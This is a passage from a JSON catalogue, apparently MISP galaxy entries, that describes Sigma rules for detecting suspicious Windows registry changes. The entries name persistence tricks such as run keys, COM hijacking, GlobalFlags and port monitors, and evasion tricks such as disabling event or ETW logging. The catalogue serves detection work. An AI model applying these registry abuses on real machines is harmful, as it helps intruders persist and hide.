          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0372e1f9-0fd2-40f7-be1b-a7b2b848fa7b",
      "value": "Disable Privacy Settings Experience in Registry"
    },
    {
      "description": "Detects non-sysinternals tools setting the \"accepteula\" key which normally is set on sysinternals tool execution",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/24",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_set_renamed_sysinternals_eula_accepted.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_renamed_sysinternals_eula_accepted.yml"
        ],
        "tags": [
          "attack.resource_development",
          "attack.t1588.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8023f872-3f1d-4301-a384-801889917ab4",
      "value": "Usage of Renamed Sysinternals Tools - RegistrySet"
    },
    {
      "description": "Detect modification of TreatAs key to enable \"rundll32.exe -sta\" command",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/08/28",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "registry_set_treatas_persistence.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md",
          "https://www.youtube.com/watch?v=3gz1QmiMhss&t=1251s",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1546.015"
        ]
      },
      "related": [
        {
          "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "dc5c24af-6995-49b2-86eb-a9ff62199e82",
      "value": "COM Hijacking via TreatAs"
    },
    {
      "description": "Detects the enabling of the PowerShell script execution policy. Once enabled, this policy allows scripts to be executed.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Thurein Oo",
        "creation_date": "2023/10/18",
        "falsepositive": [
          "Likely"
        ],
        "filename": "registry_set_powershell_enablescripts_enabled.yml",
        "level": "low",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.PowerShell::EnableScripts",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_enablescripts_enabled.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "8218c875-90b9-42e2-b60d-0b0069816d10",
      "value": "PowerShell Script Execution Policy Enabled"
    },
    {
      "description": "Detects the abuse of the exefile handler in new file association. Used for bypass of security products.",
      "meta": {
        "author": "Andreas Hunkeler (@Karneades)",
        "creation_date": "2021/11/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_file_association_exefile.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/mrd0x/status/1461041276514623491",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_file_association_exefile.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "44a22d59-b175-4f13-8c16-cbaef5b581ff",
      "value": "New File Association Using Exefile"
    },
    {
      "description": "Detects tampering with the \"Enabled\" registry key in order to disable Windows logging of a Windows event channel",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/04",
        "falsepositive": [
          "Rare falsepositives may occur from legitimate administrators disabling specific event log for troubleshooting"
        ],
        "filename": "registry_set_disable_winevt_logging.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/DebugPrivilege/CPP/blob/c39d365617dbfbcb01fffad200d52b6239b2918c/Windows%20Defender/RestoreDefenderConfig.cpp",
          "https://twitter.com/WhichbufferArda/status/1543900539280293889",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_winevt_logging.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2f78da12-f7c7-430b-8b19-a28f269b77a3",
      "value": "Disable Windows Event Logging Via Registry"
    },
    {
      "description": "Detects setting of a new registry value related to BgInfo configuration, which can be abused to execute custom VBScript via \"BgInfo.exe\"",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/16",
        "falsepositive": [
          "Legitimate VBScript"
        ],
        "filename": "registry_set_bginfo_custom_vbscript.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bginfo_custom_vbscript.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "992dd79f-dde8-4bb0-9085-6350ba97cfb3",
      "value": "New BgInfo.EXE Custom VBScript Registry Configuration"
    },
    {
      "description": "Detects the modification of the registry to allow a driver or service to persist in Safe Mode.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/04/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_add_load_service_in_safe_mode.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-33---windows-add-registry-value-to-load-service-in-safe-mode-without-network",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-34---windows-add-registry-value-to-load-service-in-safe-mode-with-network",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_load_service_in_safe_mode.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1547e27c-3974-43e2-a7d7-7f484fb928ec",
      "value": "Registry Persistence via Service in Safe Mode"
    },
    {
      "description": "Monitor the creation of a new key under 'TaskCache' when a new scheduled task is registered by a process that is not svchost.exe, which is suspicious",
      "meta": {
        "author": "Syed Hasan (@syedhasan009)",
        "creation_date": "2021/06/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_taskcache_entry.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/",
          "https://labs.f-secure.com/blog/scheduled-task-tampering/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_taskcache_entry.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1053",
          "attack.t1053.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4720b7df-40c3-48fd-bbdf-fd4b3c464f0d",
      "value": "Scheduled TaskCache Change by Uncommon Program"
    },
    {
      "description": "Detects registry changes to Office trust records where the path is located in a potentially suspicious location",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/06/21",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_set_office_trust_record_susp_location.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://twitter.com/inversecos/status/1494174785621819397",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_trust_record_susp_location.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a166f74e-bf44-409d-b9ba-ea4b2dd8b3cd",
      "value": "Macro Enabled In A Potentially Suspicious Document"
    },
    {
      "description": "Detects potential PowerShell commands or code within registry run keys",
      "meta": {
        "author": "frack113, Florian Roth (Nextron Systems)",
        "creation_date": "2022/03/17",
        "falsepositive": [
          "Legitimate admin or third party scripts. Baseline according to your environment"
        ],
        "filename": "registry_set_powershell_in_run_keys.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/frack113/atomic-red-team/blob/a9051c38de8a5320b31c7039efcbd3b56cf2d65a/atomics/T1547.001/T1547.001.md#atomic-test-9---systembc-malware-as-a-service-registry",
          "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_in_run_keys.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8d85cf08-bf97-4260-ba49-986a2a65129c",
      "value": "Suspicious Powershell In Registry Run Keys"
    },
    {
      "description": "Detects a possible persistence mechanism using RUN key for Windows Explorer and pointing to a suspicious folder",
      "meta": {
        "author": "Florian Roth (Nextron Systems), oscd.community",
        "creation_date": "2018/07/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_susp_reg_persist_explorer_run.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://researchcenter.paloaltonetworks.com/2018/07/unit42-upatre-continues-evolve-new-anti-analysis-techniques/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_reg_persist_explorer_run.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b7916c2a-fa2f-4795-9477-32b731f70f11",
      "value": "Registry Persistence via Explorer Run Key"
    },
    {
      "description": "Detects registry persistence technique using the GlobalFlags and SilentProcessExit keys",
      "meta": {
        "author": "Karneades, Jonhnathan Ribeiro, Florian Roth",
        "creation_date": "2018/04/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_persistence_globalflags.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/",
          "https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_globalflags.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.persistence",
          "attack.defense_evasion",
          "attack.t1546.012",
          "car.2013-01-002"
        ]
      },
      "related": [
        {
          "dest-uuid": "6d4a7fb3-5a24-42be-ae61-6728a2b581f6",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "36803969-5421-41ec-b92f-8500f79c23b0",
      "value": "Potential Persistence Via GlobalFlags"
    },
    {
      "description": "Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence via autorun.\nThe disk cleanup manager is part of the operating system.\nIt displays the dialog box […] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI.\nAlthough Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications.\nInstead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler.\nAny developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_disk_cleanup_handler_autorun_persistence.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/",
          "https://persistence-info.github.io/Data/diskcleanuphandler.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disk_cleanup_handler_autorun_persistence.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "d4e2745c-f0c6-4bde-a3ab-b553b3f693cc",
      "value": "Persistence Via Disk Cleanup Handler - Autorun"
    },
    {
      "description": "Detect potential persistence via the creation of an excel add-in (XLL) file to make it run automatically when Excel is started.",
      "meta": {
        "author": "frack113",
        "creation_date": "2023/01/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_persistence_xll.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/4ae9580a1a8772db87a1b6cdb0d03e5af231e966/atomics/T1137.006/T1137.006.md",
          "https://labs.withsecure.com/publications/add-in-opportunities-for-office-persistence",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_xll.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1137.006"
        ]
      },
      "related": [
        {
          "dest-uuid": "34f1d81d-fe88-4f97-bd3b-a3164536255d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "961e33d1-4f86-4fcf-80ab-930a708b2f82",
      "value": "Potential Persistence Via Excel Add-in - Registry"
    },
    {
      "description": "Detects modification to the \"Default\" value of the \"MyComputer\" key and subkeys to point to a custom binary that will be launched whenever the associated action is executed (see reference section for example)",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/09",
        "falsepositive": [
          "Unlikely but if you experience FPs add specific processes and locations you would like to monitor for"
        ],
        "filename": "registry_set_persistence_mycomputer.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.hexacorn.com/blog/2017/01/18/beyond-good-ol-run-key-part-55/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_mycomputer.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "8fbe98a8-8f9d-44f8-aa71-8c572e29ef06",
      "value": "Potential Persistence Via MyComputer Registry Keys"
    },
    {
      "description": "Detects suspicious new RUN key element pointing to an executable in a suspicious folder",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing",
        "creation_date": "2018/08/25",
        "falsepositive": [
          "Software using weird folders for updates"
        ],
        "filename": "registry_set_susp_run_key_img_folder.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_run_key_img_folder.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "02ee49e2-e294-4d0f-9278-f5b3212fc588",
      "value": "New RUN Key Pointing to Suspicious Folder"
    },
    {
      "description": "Detects the abuse of custom file open handler, executing powershell",
      "meta": {
        "author": "CD_R0M_",
        "creation_date": "2022/06/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_custom_file_open_handler_powershell_execution.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://news.sophos.com/en-us/2022/02/01/solarmarker-campaign-used-novel-registry-changes-to-establish-persistence/?cmp=30728",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_custom_file_open_handler_powershell_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7530b96f-ad8e-431d-a04d-ac85cc461fdc",
      "value": "Custom File Open Handler Executes PowerShell"
    },
    {
      "description": "Detect the creation of a service with a service binary located in a suspicious directory",
      "meta": {
        "author": "Florian Roth (Nextron Systems), frack113",
        "creation_date": "2022/05/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_creation_service_susp_folder.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_creation_service_susp_folder.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a07f0359-4c90-4dc4-a681-8ffea40b4f47",
      "value": "Service Binary in Suspicious Folder"
    },
    {
      "description": "Detects changes to the NGenAssemblyUsageLog registry key.\n.NET Usage Log output location can be controlled by setting the NGenAssemblyUsageLog CLR configuration knob in the Registry or by configuring an environment variable (as described in the next section).\nBy simplify specifying an arbitrary value (e.g. fake output location or junk data) for the expected value, a Usage Log file for the .NET execution context will not be created.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/11/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_net_cli_ngenassemblyusagelog.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_net_cli_ngenassemblyusagelog.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "28036918-04d3-423d-91c0-55ecf99fb892",
      "value": "NET NGenAssemblyUsageLog Registry Key Tamper"
    },
    {
      "description": "Detects modification of autostart extensibility point (ASEP) in registry.",
      "meta": {
        "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split), wagga (name)",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason",
          "Legitimate administrator sets up autorun keys for legitimate reason"
        ],
        "filename": "registry_set_asep_reg_keys_modification_common.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d",
          "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns",
          "https://persistence-info.github.io/Data/userinitmprlogonscript.html",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_common.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f59c3faf-50f3-464b-9f4c-1b67ab512d99",
      "value": "Common Autorun Keys Modification"
    },
    {
      "description": "Detects changes to the \"ExtErrorInformation\" key in order to disable ETW logging for rpcrt4.dll",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/12/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_rpcrt4_etw_tamper.yml",
        "level": "low",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "http://redplait.blogspot.com/2020/07/whats-wrong-with-etw.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_rpcrt4_etw_tamper.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112",
          "attack.t1562"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "90f342e1-1aaa-4e43-b092-39fda57ed11e",
      "value": "ETW Logging Disabled For rpcrt4.dll"
    },
    {
      "description": "Detect use of scrobj.dll as this DLL looks for the ScriptletURL key to get the location of the script to execute",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/08/20",
        "falsepositive": [
          "Legitimate use of the dll."
        ],
        "filename": "registry_set_persistence_scrobj_dll.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_scrobj_dll.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1546.015"
        ]
      },
      "related": [
        {
          "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fe20dda1-6f37-4379-bbe0-a98d400cae90",
      "value": "Potential Persistence Via Scrobj.dll COM Hijacking"
    },
    {
      "description": "Detect enable rdp feature to allow specific user to rdp connect on the targeted machine",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/08/19",
        "falsepositive": [
          "Legitimate use of the feature (alerts should be investigated either way)"
        ],
        "filename": "registry_set_allow_rdp_remote_assistance_feature.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_allow_rdp_remote_assistance_feature.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "37b437cf-3fc5-4c8e-9c94-1d7c9aff842b",
      "value": "Allow RDP Remote Assistance Feature"
    },
    {
      "description": "Detects tampering of RDP Terminal Service/Server sensitive settings.\nSuch as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections'...etc\n",
      "meta": {
        "author": "Samir Bousseaden, David ANDRE, Roberto Rodriguez @Cyb3rWard0g, Nasreddine Bencherchali",
        "creation_date": "2022/08/06",
        "falsepositive": [
          "Some of the keys mentioned here could be modified by an administrator while setting group policy (it should be investigated either way)"
        ],
        "filename": "registry_set_terminal_server_tampering.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/190407-RegModEnableRDPConnections/notebook.html",
          "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/",
          "https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services",
          "http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/",
          "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03",
          "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/",
          "https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_tampering.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3f6b7b62-61aa-45db-96bd-9c31b36b653c",
      "value": "RDP Sensitive Settings Changed"
    },
    {
      "description": "Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation.\nA port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_add_port_monitor.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.010/T1547.010.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_port_monitor.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.010"
        ]
      },
      "related": [
        {
          "dest-uuid": "43881e51-ac74-445b-b4c6-f9f9e9bf23fe",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "944e8941-f6f6-4ee8-ac05-1c224e923c0e",
      "value": "Add Port Monitor Persistence in Registry"
    },
    {
      "description": "Detects modification of autostart extensibility point (ASEP) in registry.",
      "meta": {
        "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason",
          "Legitimate administrator sets up autorun keys for legitimate reason"
        ],
        "filename": "registry_set_asep_reg_keys_modification_office.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d",
          "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_office.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "baecf8fb-edbf-429f-9ade-31fc3f22b970",
      "value": "Office Autorun Keys Modification"
    },
    {
      "description": "Detects modification of autostart extensibility point (ASEP) in registry.",
      "meta": {
        "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason",
          "Legitimate administrator sets up autorun keys for legitimate reason"
        ],
